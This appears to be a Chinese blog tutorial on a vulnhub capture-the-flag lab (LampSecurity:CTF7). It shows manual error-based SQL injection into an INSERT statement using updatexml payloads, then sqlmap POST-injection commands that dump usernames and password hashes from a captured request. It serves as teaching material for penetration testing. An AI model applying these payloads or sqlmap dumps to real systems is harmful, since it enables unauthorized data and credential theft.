渗透测试:详解sqlmap进行POST注入、基于insert的注入(以vulnhub靶机LampSecurity:CTF7为例)

目录

写在开头

漏洞发现

手工insert型的报错注入

sqlmap进行POST注入

总结与思考

写在开头

 在上一篇对LampSecurity:CTF7进行打靶的时候,获得ssh的登录凭据是通过拿到apache的shell权限后登录mysql数据库,在数据库中找到了登录凭据。靶机地址、打靶过程详见:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)

 如果读者对这个靶机不敢兴趣,单纯想学习sql注入的知识,也可以继续往后看学习使用sqlmap进行POST注入和基于报错的insert型的手工注入。只不过可能读者就得自己寻找案例进行复现了。

上一篇博客中我们登录管理后台是通过8080端口的登录界面,利用SQL注入的万能密码登录成功。我们并没有对80端口进行渗透研究。同时80端口也存在一个注册和登录页面,这些地方也是有可能存在漏洞的。我们可以注册一个账号,然后研究后续的操作页面是否存在漏洞。

于是我试了试,发现一个确实有一个页面存在SQL注入,可以通过对一些文本框进行POST型的SQL注入,直接把数据库中储存的ssh凭据注入出来。注册一个账号之后,点击Resources——>Training——>Register即可

如下图就是存在SQL注入漏洞的界面:

漏洞发现

 首先肯定要考虑,打靶过程中,漏洞是如何发现的。这里就是试出来的,看见输入框我们就可以输入单引号' ,看看回显会不会报错,如果出现有关sql的报错,那就说明我们输入的单引号参与了SQL的拼接,很有可能出现注入漏洞。如下图:

 我们在每个输入框都输入单引号(Email行要求必须符合email格式),点击Register,看看有没有报错,根据报错信息寻找出现sql注入的位置,如下图:

 还真报错了,看来确实存在SQL注入漏洞。根据这个报错信息我们还可以确认这是MySQL数据库,同时对应的SQL语句是insert型,另外基本每个文本框都可以进行注入。接下来我们开始手工测试。

手工insert型的报错注入

 虽然sqlmap很强大,但工具终究知识工具,我们还是要深入理解漏洞的原理,才可以更深入的使用工具,不仅仅当脚本小子。于是我们就这个案例进行手工注入,研究insert语句相关的单引号闭合构造和基于报错的注入方式。首先我们先根据报错信息,看这个insert的语句:

insert into payment set firstname=' 这里是我们填写First Name的位置 ',lastname = 'aaa';

问题就在于我们如何将这里是我们填写First Name的位置改写为我们的payload,构造合理的闭合。如果我们在First Name的位置填写如下的字符串,即可构成闭合:

a' or 此处填写我们想执行的语句 or '

 那么刚才的insert语句就会变为:

insert into payment set firstname='      a' or 此处填写我们想执行的语句 or '     ',lastname = 'aaa';

 这样的话,就成功构造了闭合,问题就是我们想执行的语句如何填写,可以使用基于报错的注入,让报错回显当前的数据库database(),那么报错的函数就是:

updatexml(1,concat(0x7e,database()),0)

这里0x7e是符号'~',具体updatexml相关的报错注入函数详见:SQL注入相关问题总结 完整的payload是:

a' or updatexml(1,concat(0x7e,database()),0) or '

 因此,原来的insert语句被我们构造的payload拼接之后,就会形成如下的语句:

insert into payment set firstname='a' or updatexml(1,concat(0x7e,database()),0) or '',lastname = 'aaa';

理论知识就讲完了,接下来我们开始实践。首先按照刚才理论讲的,在First Name文本框中输入我们的payload,其他文本框随便填,如下图:

 点击Register之后回显如下,通过报错注入,喜提数据库名:

 现在我们也知道数据库名是'website'了,接下来就是把payload中的database()换为我们想要执行的SQL语句,可以利用information_schema这个数据库来寻找相关信息,首先我们如果想查找website这个数据库里面有哪些表,可以用如下的SQL语句:

select table_name from information_schema.tables where table_schema='website';

因此,我们的payload就是:

a' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='website')),0) or '

把如上的payload输入到First Name中,其他文本框随便填,回显如下:

 可恶,他说子查询回显了超过一行的请求,看来基于报错的查询应该是只能看到回显一行的请求,那么我们可以在语句中增加limit 0,1表示从第0个结果开始,看一个结果(0是起始位置,1是查询数量),payload修改为:

 a' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='website' limit 0,1)),0) or '

 把如上的payload输入到First Name中,其他文本框随便填,这次回显如下:

 非常好,现在我们已经找到了website数据库中的第0个表名,名称为'contact',我们的目标是找到与ssh登录相关的表,然后查询里面的内容,因此我们需要继续查找其他的表。经过多次反复尝试,终于找到第8个表的表名为'users',这很可能是我们想要的,payload如下:

a' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='website' limit 8,1)),0) or '

 现在users很可能就是我们需要的表,知道表名之后,我们要查找users表中有哪些列,对应的SQL语句是,注意由于只能回显一行数据,因此需要limit 0,1:

select column_name from information_schema.columns where table_name='users' limit 0,1;

payload修改为:

a' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) or '

 把如上的payload输入到First Name中,其他文本框随便填,回显如下:

 成功得到,在users这个表中,第0列的列名为'user_id'我们对'user_id'并不是很关心,我们更关心的是表中有没有用户名和密码这样的列。经过修改limit后面的数字,最终找到了第8列的列名是'username'。如下:

a' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 8,1)),0) or '

 也找到了第9列的列名是'password'。如下:

a' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 9,1)),0) or '

 我只能说,users这个表真是不负众望。把username和password都存在里面了。那么我们就查找username的第一个数据吧:

select username from users limit 0,1;

 payload是:

a' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or '

回显如下:

非常amazing啊,找到了第一个账号名为brian@localhost.localdomain ,那么查找第一个密码的语句就是:

select password from users limit 0,1;

payload是:

 a' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '

 这样我们就喜提一串密码,这应该是md5加密的结果,为e22f07b17f98e0d9d364584ced0e3c1,当然,你也可以不用limit,而用查找username为brian@localhost.localdomain的密码,SQL语句为:

select password from users where username = 'brian@localhost.localdomain';

 payload是:

a' or updatexml(1,concat(0x7e,(select password from users where username = 'brian@localhost.localdomain')),0) or '

也可以得到完全相同的结果。如果想得到其他账号,也可以继续注入,修改limit后面的数字就行了。如果为了打靶的话(不打这个靶机的读者忽略我这段话),还可以找个在线网站直接破解一下这个md5,然后直接登录ssh,不是本文重点,读者如果打靶的话可以走这条路,连shell都不用获取了,我感觉这个思路比拿shell要更好,因为拿到shell的话还要恰巧找到那个db.php发现数据库的密码为空,感觉有点凑巧。

手工注入到这里就讲解完毕了,这个过程可以说非常痛苦啊。尤其是确定第几个表可能有用户信息、第几列的列名含有用户名和密码的过程,要不断的修改limit后的数字,非常多的重复劳动。同时这个页面要填的信息还贼tm多,每次吧First Name填写payload之后,还要把其他的文本框也填上垃圾字符,才能点Rigister,非常痛苦。建议读者手工测试的时候用burpsuite抓个包,把POST请求发送到Repeater,每次只要修改POST的请求体中的一项,然后重放就可以了,省去了每次都对其他文本框输入垃圾信息的过程。那么我既然都抓包了,为啥不直接用sqlmap对抓的包进行测试呢?接下来就详解sqlmap进行自动注入的过程。

sqlmap进行POST注入

 要用sqlmap进行POST注入,首先要抓包,把抓到的包存为一个txt文件。抓包(提交register的包)过程我不讲,读者用burpsuite抓一下就行了,抓下来的POST请求包如下:

POST /register_scr HTTP/1.1
Host: 192.168.200.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://192.168.200.145
Connection: close
Referer: http://192.168.200.145/register&id=2
Cookie: PHPSESSID=4vrt29qolf5uiv7g3n5tjs4ps1
Upgrade-Insecure-Requests: 1

id=2&fname=Boss&lname=Frank&email=a%40b.com&street=a&city=beijing&state=beijing&zip=1&phone=1&ccn=1&seccode=1source /root/peda/peda.py

 把他存为packege.txt,如下:

 然后就可以用sqlmap注入了,我们先把存在的数据库注入出来,-r表示对文本文件进行注入,--dbs表示寻找所有的数据库。

sqlmap -r packet.txt --dbs 

 找到了四个数据库名,website最有可能是有信息的数据库,因此我们再查看website这个数据库中有哪些表:

sqlmap -r packet.txt -D website --tables

-D指定数据库,--tables显示其中的表名,结果如下:

 非常amazing,9个表的名称直接就注入出来了,然后我们查看users里面有哪些列,命令如下:

sqlmap -r packet.txt -D website -T users --columns

 -T指定表名,--columns指定查找列名,结果如下:

 所有列的名称都看到了,我们关心的是password和username,继续查看其中的具体内容:

sqlmap -r packet.txt -D website -T users -C username,password --dump

-C选择列名,--dump把其中的结果都dump出来,运行这个指令后,还会问你要不要进行密码破解等选项,直接默认敲回车就行了:

 这样用户名和密码就都注入出来了,还可以进行md5的破解。

总结与思考

有关insert类型的注入全过程和使用sqlmap进行POST注入的内容就讲解到这里了。虽然sqlmap一把梭感觉很爽,但核心还是要理解sql注入的原理。如果是初学者,建议在进行手工注入之后,再学习sqlmap的使用。

在进行手工注入的时候,首先先要确定是否存在sql注入,可以输入单引号'观察是否有报错,报错信息有没有提示数据库的类型和语句。如何构造闭合也是注入的关键,无论是select还是insert或update,进行sql注入的本质都一样,都是构造闭合,执行我们的payload

本文到这里就结束了,如果读者觉得我写的还不错的话,恳请多多点赞关注支持。希望大家一起努力,共同见证网安菜鸟的成长之路!

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值